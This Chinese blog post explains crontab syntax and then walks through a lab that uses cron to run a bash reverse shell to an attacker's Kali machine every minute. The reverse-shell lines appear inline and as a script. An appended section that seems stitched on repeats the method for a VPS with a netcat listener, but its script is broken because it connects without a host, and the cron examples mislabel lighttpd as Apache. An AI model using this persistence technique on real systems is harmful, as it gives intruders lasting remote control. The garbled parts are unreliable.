linux定时计划反弹shell

crontab

crontab命令常见于Unix和Linux的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。通常,crontab储存的指令被守护进程激活。crond 常常在后台运行,每一分钟检查是否有预定的作业需要执行。这类作业一般称为cron jobs。

安装(默认自带crontab)

yum -y install vixie-cron
yum -y install crontabs

说明:
vixie-cron 软件包是 cron 的主程序;
crontabs 软件包是用来安装、卸装、或列举用来驱动 cron 守护进程的表格的程序。

配置

cron 是 linux 的内置服务,但它不自动起来,可以用以下的方法启动、关闭这个服务:

service crond start     //启动服务
service crond stop      //关闭服务
service crond restart   //重启服务
service crond reload    //重新载入配置
service crond status    //查看crontab服务状态

前四行是用来配置 cron 任务运行环境的变量。
SHELL 变量的值告诉系统要使用哪个 shell 环境(在这个例子里是 bash shell);
PATH 变量定义用来执行命令的路径。
cron 任务的输出被邮寄给 MAILTO 变量定义的用户名。
如果 MAILTO 变量被定义为空白字符串(MAILTO=""),电子邮件就不会被寄出。
HOME 变量可以用来设置在执行命令或脚本时使用的主目录。

crontab 命令

功能:设置计时器。

语法:crontab[-u <用户名称>][配置文件] 或 crontab [-u <用户名称>][-elr]
解释:cron 是一个常驻服务,它提供计时器的功能,让用户在特定的时间得以执行预设的指令或程序。只要用户会编辑计时器的配置文件,就可以使 用计时器的功能。其配置文件格式如下:Minute Hour Day Month DayOFWeek Command

参数:
-e 编辑该用户的计时器设置。
-l 列出该用户的计时器设置。
-r 删除该用户的计时器设置。
-u<用户名称>  指定要设定计时器的用户名称。

格式:

*   *  *  *  *  command
分 时 日 月 周  命令

第1列表示分钟1~59 每分钟用*或者 */1表示
第2列表示小时1~23(0表示0点)
第3列表示日期1~31
第4列表示月份1~12
第5列标识号星期0~6(0表示星期天)
第6列要运行的命令

例子:

*/5 * * * * root ab -n 2000 http://60.217.229.252/250k.jpg
上面例子表示每5分钟模拟用户访问http://60.217.229.252/250k.jpg 2000次

30 21 * * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每晚的21:30重启apache。

45 4 1,10,22 * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每月1、10、22日的4 : 45重启apache。

10 1 * * 6,0 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每周六、周日的1 : 10重启apache。

0,30 18-23 * * * /usr/local/etc/rc.d/lighttpd restart
上面的例子表示在每天18 : 00至23 : 00之间每隔30分钟重启apache。

0 23 * * 6 /usr/local/etc/rc.d/lighttpd restart
上面的例子表示每星期六的11 : 00 pm重启apache。

* */1 * * * /usr/local/etc/rc.d/lighttpd restart
每一小时重启apache

* 23-7/1 * * * /usr/local/etc/rc.d/lighttpd restart
晚上11点到早上7点之间,每隔一小时重启apache

0 11 4 * mon-wed /usr/local/etc/rc.d/lighttpd restart
每月的4号与每周一到周三的11点重启apache

0 4 1 jan * /usr/local/etc/rc.d/lighttpd restart
一月一号的4点重启apache

*/30 * * * * /usr/sbin/ntpdate 210.72.145.44
每半小时同步一下时间

反弹shell

1.被攻击者:Centos 192.168.20.131

2.攻击者:kali 192.168.20.133

首先我们打开etc/crontab

在这里插入图片描述
可以看到shell=/bin/bash,这里不需要任何修改

方法一:

通过执行下面的语句,即可进入类似于vi的文本编辑器界面,我们可以通过在上面誊写上面那种时程表定时调用某个脚本。
在这里插入图片描述
写入bash

* * * * * bash -i >& /dev/tcp/192.168.20.133/8888  0>&1

注意这里必须是上面的软链接/bin/bash,如果其他的如:/bin/sh等要修改为bash
也可以不进行修改,写一个shell脚本,然后调用脚本

方法二:

1.创建shell文件
例如在/etc/crontabshell
vi crontabshell

#!/bin/bash
bash -i >& /dev/tcp/192.168.20.133/8888  0>&1

2.crontab -e
写入

* * * * * /etc/crontabshell

在这里插入图片描述
*为时间设置,具体自己随意设置即可

结果
在这里插入图片描述
成功反弹

### 配置VPS以实现反弹Shell的安全测试 #### 选择合适的VPS服务提供商 为了进行安全测试,建议选择信誉良好的云服务商来部署VPS实例。这些平台通常提供稳定的服务质量以及灵活的配置选项。 #### 安全加固VPS环境 在启动任何操作之前,务必确保VPS本身已经过适当的安全强化处理。这包括但不限于更新操作系统补丁、安装必要的防护软件(如防火墙)、关闭不必要的端口和服务等措施[^2]。 #### 设置监听程序 对于Linux VPS而言,可以利用`nc`(netcat)工具作为简易的TCP/UDP连接器来进行数据传输。具体做法是在目标机器上运行带有特定参数组合后的命令行版本netcat等待来自客户端发起的请求连接并保持会话交互状态直到一方主动断开为止。 ```bash nc -lvnp 4444 ``` 上述指令将在本地开启一个监听于4444端口上的服务器模式进程[^1]。 #### 编写反弹Shell脚本 创建一个新的shell脚本来定义远程主机向指定IP地址及端口号发送反向连接请求的动作逻辑。下面给出了一种基于Bash语法结构下的简单实现方式: ```bash #!/bin/bash export RHOST="your_vps_ip" export RPORT=4444 bash -i >& /dev/tcp/$RPORT 0>&1 ``` 此段代码片段实现了通过TCP协议将当前终端的标准输入输出重定向至由变量`$RHOST`和`$RPORT`所共同指向的目的地位置从而建立起一条双向通信管道的效果[^4]。 #### 计划任务自动化执行 如果希望定期触发该行为,则可借助cron表达式配合crontab文件完成周期性的调度安排工作。编辑用户的个人定时作业列表后追加一行记录如下所示即可满足需求: ```bash * * * * * /path/to/reverse_shell.sh >/dev/null 2>&1 ``` 这里假设每分钟重复一次整个过程,并且忽略所有可能产生的标准错误流输出信息以防日志文件迅速膨胀造成磁盘空间不足等问题发生。 #### 注意事项 - **合法性验证**:始终确认已获得授权许可才能开展任何形式的渗透活动; - **最小权限原则**:尽可能减少赋予测试账号过多的操作权利范围以免意外引发更严重的后果; - **痕迹清理机制**:结束后记得移除临时添加过的组件或更改过的设定项恢复初始状况防止留下安全隐患; - **合规性考量**:遵循当地法律法规要求不得从事非法入侵他人计算机系统的违法行为。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值